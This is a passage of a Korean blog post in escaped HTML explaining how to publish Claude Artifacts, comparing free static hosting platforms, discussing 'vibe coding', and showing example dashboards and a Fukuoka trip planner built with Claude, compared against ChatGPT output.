&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;계정이 있는 사용자는 &lt;b&gt;'Customize'(리믹스)&lt;/b&gt;하여 자기만의 버전으로 수정 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;퍼블리시 후 &lt;b&gt;'Get embed code'&lt;/b&gt; 버튼이 나타나며, 외부 사이트/CMS에 삽입할 수 있는 임베드 코드 제공&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;공개를 취소하려면 &lt;b&gt;'Unpublish'&lt;/b&gt; 버튼으로 즉시 비공개 전환 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/9547008-publishing-and-sharing-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: Publishing and sharing artifacts&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: 인라인 시각화(Custom Visuals)는 바로 퍼블리시할 수 없다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 업데이트 이후, 클로드는 대화 흐름 안에 직접 차트와 시각화를 렌더링하는 &lt;b&gt;인라인 시각화&lt;/b&gt;를 자주 생성한다. 이것은 사이드 패널 Artifact와 다른 기능이다. 인라인 시각화의 &lt;code&gt;...&lt;/code&gt; 메뉴에는 &lt;b&gt;'Save as artifact'&lt;/b&gt;가 표시되며, 이를 눌러 Artifact로 변환한 뒤에야 Publish가 가능하다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;퍼블리시 워크플로우:&lt;/b&gt; 인라인 시각화 생성 &amp;rarr; &lt;code&gt;...&lt;/code&gt; 메뉴 &amp;rarr; 'Save as artifact' &amp;rarr; 저장된 Artifact 열기 &amp;rarr; Share &amp;rarr; Publish&lt;/p&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/13979539-custom-visuals-in-chat&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: Custom visuals in chat&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;또한 HTML Artifact는 &lt;b&gt;.html 파일로 즉시 다운로드&lt;/b&gt;가 가능하다. 이 파일은 백엔드 없이 구동되는 정적 파일이므로, 무료 호스팅 플랫폼에 업로드하는 것만으로 전 세계에 공개되는 웹 서비스가 된다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;무료 호스팅 플랫폼 비교&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;플랫폼&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;무료 대역폭&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;배포 방법&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;상업적 이용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cloudflare Pages&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;무제한&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;대시보드 드래그앤드롭 또는 Wrangler CLI&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;허용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;GitHub Pages&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;100GB/월&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Git push 후 자동 배포&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;비상업적 용도만&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Netlify&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;100GB/월&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;드래그앤드롭 또는 Git 연동&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;허용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Vercel&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;100GB/월&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Git 연동 자동 배포&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;무료 플랜 금지&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: 각 플랫폼 공식 문서 &amp;mdash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.cloudflare.com/pages/platform/limits/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Cloudflare Pages Limits&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://docs.github.com/en/pages/getting-started-with-github-pages/github-pages-limits&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Pages Limits&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;추천: Cloudflare Pages&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;무제한 대역폭, 무제한 요청, 상업적 이용 허용 &amp;mdash; Claude Artifact를 배포하기에 가장 적합한 무료 호스팅이다. 단일 HTML 파일은 모든 제한에 여유롭게 들어온다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;바이브 코딩(Vibe Coding)의 부상&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이러한 흐름은 2025년 초 &lt;b&gt;Andrej Karpathy&lt;/b&gt;(前 Tesla AI 디렉터, OpenAI 초기 연구원)가 명명한 &lt;b&gt;'바이브 코딩(Vibe Coding)'&lt;/b&gt; 트렌드와 맞닿아 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vim&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;&quot;There's a new kind of coding I call 'vibe coding', where you fully
give in to the vibes, embrace exponentials, and forget that the code
even exists.&quot;

&quot;'바이브 코딩'이라 부르는 새로운 종류의 코딩이 있다.
바이브에 완전히 몸을 맡기고, 코드가 존재한다는 사실 자체를 잊어버리는 것이다.&quot;
&amp;mdash; Andrej Karpathy, 2025년 2월 2일 (X/Twitter)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Vibe Coding&quot;은 &lt;b&gt;2025년&lt;/b&gt; Collins English Dictionary &lt;b&gt;올해의 단어&lt;/b&gt;로 선정되었다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://en.wikipedia.org/wiki/Vibe_coding&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wikipedia: Vibe coding&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;바이브 코딩 플랫폼 숫자가 꽤 빠르게 커지고 있다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Lovable:&lt;/b&gt; 8개월 만에 ARR 1억 달러 달성, 2025년 12월 시리즈B $3.3억 조달, 기업가치 $66억&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Y Combinator W25 배치:&lt;/b&gt; 스타트업의 25%가 코드베이스의 95%를 AI로 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: Lovable &amp;mdash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://techcrunch.com/2025/12/18/vibe-coding-startup-lovable-raises-330m-at-a-6-6b-valuation/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch: Lovable raises $330M&lt;/a&gt;, YC &amp;mdash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.saastr.com/the-vibe-coding-tam-how-big-can-this-market-really-get/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SaaStr: The Vibe Coding TAM&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;클로드의 Artifacts는 바이브 코딩에 가장 쉽게 발을 들일 수 있는 방법 중 하나다. IDE 설치 없이 브라우저에서 자연어만으로 웹 앱을 만들고 바로 배포할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 실전 적용 시나리오 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 적용 시나리오&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제로 써먹을 수 있는 Artifacts 활용 시나리오를 몇 가지 꼽아 봤다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;금융 및 데이터 대시보드&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;종목 리스트를 텍스트로 받는 대신, &lt;b&gt;'배당주 시뮬레이터'&lt;/b&gt;를 만들어서 비중을 직접 조절하며 예상 수익 차트가 어떻게 바뀌는지 확인한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Chart.js 연동:&lt;/b&gt; 부드러운 애니메이션이 적용된 파이 차트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Hover Interaction:&lt;/b&gt; 마우스를 올리면 데이터 팝업이 뜨는 영역&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Dynamic Inputs:&lt;/b&gt; 사용자가 비중 값을 직접 조절할 수 있는 입력 필드 (양방향 데이터 바인딩)&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;비교: 같은 요청, 다른 결과&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;2억 원 포트폴리오, 변동성 낮은 월배당 차트 만들어줘&quot;&lt;/b&gt;라고 요청했을 때:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;클로드 ($20/월):&lt;/b&gt; 인터랙티브 파이차트 + 데이터 테이블 + 실시간 비중 조절 슬라이더가 포함된 웹 앱. 즉시 배포 가능한 HTML 파일로 다운로드.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;ChatGPT ($20/월):&lt;/b&gt; 마크다운 표 + 텍스트 설명이 기본. 차트가 필요하면 별도 요청 후 Python(Matplotlib) 기반 정적 이미지를 생성하며, 엑셀로 내보내야 하는 경우가 많다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 클로드 vs ChatGPT&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A8tfo/dJMcacoYhwY/V9WdJwOCJuBEIqj25eVfmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A8tfo/dJMcacoYhwY/V9WdJwOCJuBEIqj25eVfmK/img.png&quot; style=&quot;width: 45.4366%; margin-right: 10px;&quot; data-origin-width=&quot;1215&quot; data-origin-height=&quot;2113&quot; data-is-animation=&quot;false&quot; data-filename=&quot;blob&quot; data-widthpercent=&quot;45.97&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A8tfo/dJMcacoYhwY/V9WdJwOCJuBEIqj25eVfmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA8tfo%2FdJMcacoYhwY%2FV9WdJwOCJuBEIqj25eVfmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1215&quot; height=&quot;2113&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/br7Ozy/dJMcaa5LhkW/6ISmxS0gR9wvmG2f83wsPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/br7Ozy/dJMcaa5LhkW/6ISmxS0gR9wvmG2f83wsPk/img.png&quot; style=&quot;width: 53.4006%;&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;1752&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;54.03&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/br7Ozy/dJMcaa5LhkW/6ISmxS0gR9wvmG2f83wsPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbr7Ozy%2FdJMcaa5LhkW%2F6ISmxS0gR9wvmG2f83wsPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1184&quot; height=&quot;1752&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;클로드 vs GPT&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;여행 및 일상 기획&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;비개발자에게 가장 와닿는 사례가 여행 계획이다. 이 예시는 동료 개발자분 khr 님의 결과물을 보고 작성 하게 되었다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제로 &lt;b&gt;&quot;가족끼리 후쿠오카 여행 가는데, 아이가 있으니 인파가 몰리지 않는 곳 위주로 3박 4일 일정 짜줘&quot;&lt;/b&gt;라고 요청하면, 텍스트 나열이 아닌 &lt;b&gt;인터랙티브 여행 플래너&lt;/b&gt;가 만들어진다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;일자별 타임라인:&lt;/b&gt; 날짜를 클릭하면 해당 일정이 펼쳐지는 아코디언 UI&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;지도 시각화:&lt;/b&gt; 방문 장소가 마커로 표시되고, 이동 동선이 선으로 연결&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;예산 대시보드:&lt;/b&gt; 숙박비, 교통비, 식비, 입장료가 카테고리별 파이차트로 표시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;실시간 수정:&lt;/b&gt; &quot;셋째 날 오후는 비 올 수도 있으니 실내로 바꿔줘&quot;라고 하면 즉시 반영&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;비교: 같은 요청, 다른 결과&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;후쿠오카 3박 4일, 아이 동반 가족여행 일정 짜줘&quot;&lt;/b&gt;라고 요청했을 때:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;클로드:&lt;/b&gt; 일자별 탭 전환, 장소 카드에 아이 적합도 표시, 예산 시각화, 날씨 대비 대안까지 포함된 인터랙티브 시각화. 'Save as artifact' 후 퍼블리시하면 가족에게 링크로 공유 가능.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;일반 텍스트 AI:&lt;/b&gt; &quot;1일차: 오호리 공원 &amp;rarr; 하카타 역... 2일차: ...&quot; 형태의 텍스트 목록. 정보는 같아도 한눈에 파악하기 어렵고, 수정하려면 다시 요청해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여행뿐 아니라 결혼식 좌석 배치도, 이사 체크리스트, 아이 성장 기록표 같은 일상 기획에도 같은 패턴이 적용된다. 코딩을 몰라도 &lt;b&gt;&quot;이렇게 보여줘&quot;&lt;/b&gt;라고 말하면 되니까.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 생성된 결과&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 일자별 여행 경로를 실제 클릭하면 동작하도록 인터렉티브하게 만들어 준다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 그리고 복사도 가능하며, 경로열기 클릭시 구글 지도에 표현도 되게 되어 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1190&quot; data-origin-height=&quot;2394&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2oUAs/dJMcaadDerI/gAjkKg5vnUKrW1tr2YQSbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2oUAs/dJMcaadDerI/gAjkKg5vnUKrW1tr2YQSbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2oUAs/dJMcaadDerI/gAjkKg5vnUKrW1tr2YQSbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2oUAs%2FdJMcaadDerI%2FgAjkKg5vnUKrW1tr2YQSbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;626&quot; height=&quot;1259&quot; data-origin-width=&quot;1190&quot; data-origin-height=&quot;2394&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 생성된 지도 링크 : &lt;a href=&quot;https://www.google.com/maps/dir/?api=1&amp;amp;origin=%EB%8F%84%EC%B4%88%EC%A7%80%28%E6%9D%B1%E9%95%B7%E5%AF%BA%29+-+%EC%9D%BC%EB%B3%B8+%EC%B5%9C%EB%8C%80+%EB%AA%A9%EC%A1%B0+%EC%A2%8C%EB%B6%88%EC%83%81&amp;amp;origin_place_id=ChIJa2avE8GRQTURwD8yDpUT99g&amp;amp;destination=%EB%AA%A8%EB%AA%A8%EC%B9%98+%ED%95%B4%EB%B3%80%EA%B3%B5%EC%9B%90+-+%EC%84%9D%EC%96%91+%EC%82%B0%EC%B1%85&amp;amp;destination_place_id=ChIJVySQW6qTQTUR1FtUfzDxrNA&amp;amp;waypoints=%EB%9D%BC%EC%BF%A0%EC%8A%A4%EC%9D%B4%EC%97%94%28%E6%A5%BD%E6%B0%B4%E5%9C%92%29+-+%ED%95%98%EC%B9%B4%ED%83%80+%EC%88%A8%EC%9D%80+%EC%A0%95%EC%9B%90%7C%EC%98%A4%ED%98%B8%EB%A6%AC+%EA%B3%B5%EC%9B%90%28%E5%A4%A7%E6%BF%A0%E5%85%AC%E5%9C%92%29+-+%EB%B0%B1%EC%A1%B0%EB%B3%B4%ED%8A%B8+%26+%EB%86%80%EC%9D%B4%ED%84%B0&amp;amp;travelmode=driving&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.google.com/maps/&lt;/a&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;2030&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLPFDp/dJMcafeXOsS/vLkrt2PuKKXRQEmqa7myS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLPFDp/dJMcafeXOsS/vLkrt2PuKKXRQEmqa7myS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLPFDp/dJMcafeXOsS/vLkrt2PuKKXRQEmqa7myS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLPFDp%2FdJMcafeXOsS%2FvLkrt2PuKKXRQEmqa7myS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;607&quot; height=&quot;2030&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;2030&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 2번째는 더 예쁘게 나온것 같아서 공유&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;3096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nKEVs/dJMcahX6KUX/IZilrzhdoI4tIRaAgUGMck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nKEVs/dJMcahX6KUX/IZilrzhdoI4tIRaAgUGMck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nKEVs/dJMcahX6KUX/IZilrzhdoI4tIRaAgUGMck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnKEVs%2FdJMcahX6KUX%2FIZilrzhdoI4tIRaAgUGMck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;634&quot; height=&quot;1658&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;3096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;해당 채팅 링크도 혹시나 공유&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://claude.ai/share/b41d5d51-9667-4a7c-9b39-31ab5ee2bdab&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://claude.ai/share/b41d5d51-9667-4a7c-9b39-31ab5ee2bdab&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;미디어 및 콘텐츠 제작&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;디자이너 없이도 반응형 갤러리나 랜딩 페이지를 만들 수 있다. 콘텐츠 크리에이터나 마케터가 직접 쓰기에 나쁘지 않다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Image Fetching:&lt;/b&gt; 외부 이미지 소스를 자동으로 호출하여 배치한 다중 레이아웃&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;CSS Hover Effects:&lt;/b&gt; 마우스 오버 시 이미지가 부드럽게 확대되는 세련된 인터랙션&lt;/li&gt;
